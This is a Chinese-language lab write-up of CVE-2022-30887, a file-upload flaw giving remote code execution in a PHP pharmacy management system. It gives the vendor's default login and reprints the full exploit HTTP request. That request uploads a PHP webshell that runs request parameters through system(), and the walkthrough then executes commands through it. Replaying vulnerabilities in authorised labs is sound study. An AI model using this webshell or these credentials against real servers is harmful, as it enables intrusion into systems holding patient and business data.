
前言
本文仅作渗透测试技术学习与复盘使用。所有实验均在正规授权靶场开展,禁止将相关技术用于任何未授权的网络攻击行为。请遵守法律法规,合法合规学习网络安全技术。
题目
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
漏洞介绍
CVE-2022-30887 是一个高危 任意文件上传→远程代码执行(RCE) 漏洞,影响 Pharmacy Management System(MPMS)v1.0(Mayuri K. 开发的多语言药房管理系统,PHP+MySQL)。
披露时间:2022-05-16(MITRE 收录)CVE

影响版本:Pharmacy Management System (MPMS) v1.0CVE
漏洞位于后台组件:
bash
/php_action/editProductImage.php
该文件用于 "编辑产品图片",但未对上传文件做任何类型校验、后缀黑名单 / 白名单、MIME 检查或内容过滤,直接将用户上传的文件保存到服务器,且可直接访问执行。
简言之:上传接口无任何安全校验,可直接传 PHP 木马并执行。
利用条件:
1、目标运行 MPMS v1.0;
2、/php_action/editProductImage.php 可访问;
3、无需登录 / 无需权限,匿名即可利用(部分环境可能需绕过登录,但核心上传接口无权限控制)。
CVE-2022-30887 是典型的无校验文件上传→RCE,因 MPMS v1.0 核心上传接口完全开放且无安全过滤,导致匿名即可拿服务器权限,属于 "一键 getshell" 级别的高危漏洞,在 2022--2024 年的靶场与渗透测试中频繁出现。
解题

这个要先登录的,许多渗透工作都是的,打外围是很难打出东西的。
点击下面的这个Mayuri K。

这里是可以下载源码的:

社工方式查到默认账号密码:mayuri.infospace@gmail.com/mayurik
这里可以在源码里面找,也可以网上搜索。
也可以直接查相应的报告。
有关这个的账号一般是这个,有时候密码会是其他的,比如rootadmin。
比如:

这个也是一个RCE。
登录进去是:

这里有文件上传点:

但是这个不是。
在这里:

添加药物图片:

上传一句话木马:

上传成功后,复制图像链接:

一片空白,说明上传成功了。
HackBar即可。

当然,也可以用蚁剑:

POC
国家信息安全漏洞库已经收录该漏洞:
https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-30887



Content:
html
# Exploit Title: Pharmacy management system - Remote Code Execution (RCE)
# Date: 19/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
# Exploit :
You can upload a php shell file as a productImage
# ------------------------------------------------------------------------------------------
# POC
# ------------------------------------------------------------------------------------------
# Request sent as base user
POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 559
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"
-----------------------------208935235035266125502673738631--
# Response
HTTP/1.1 302 Found
Date: Tue, 19 Apr 2022 20:43:17 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/8.1.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../product.php
Content-Length: 77
Connection: close
Content-Type: text/html; charset=UTF-8
Image uploaded successfully{"success":true,"messages":"Successfully Updated"}
# ------------------------------------------------------------------------------------------
# Request to webshell
# ------------------------------------------------------------------------------------------
GET /dawapharma/dawapharma/assets/myimages/shell.php?s=echo+0xSaudi HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
# ------------------------------------------------------------------------------------------
# Webshell response
# ------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2022 20:55:58 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/8.1.2
Content-Length: 33
Connection: close
Content-Type: text/html; charset=UTF-8
0xSaudi
</pre>
</body>
</html>
其中,POC是:
html
POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 559
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"
-----------------------------208935235035266125502673738631--
返回:
html
HTTP/1.1 302 Found
Date: Tue, 19 Apr 2022 20:43:17 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/8.1.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../product.php
Content-Length: 77
Connection: close
Content-Type: text/html; charset=UTF-8
Image uploaded successfully{"success":true,"messages":"Successfully Updated"}
其中,出现Image uploaded successfully{"success":true,"messages":"Successfully Updated"}就是成功了。
在题目里面也是,可以进行抓包分析。
按照这个,上传后访问的地址是:
bash
http://localhost/dawapharma/dawapharma/assets/myimage/shell.php
执行命令是:
bash
http://localhost/dawapharma/dawapharma/assets/myimage/shell.php?s=whoami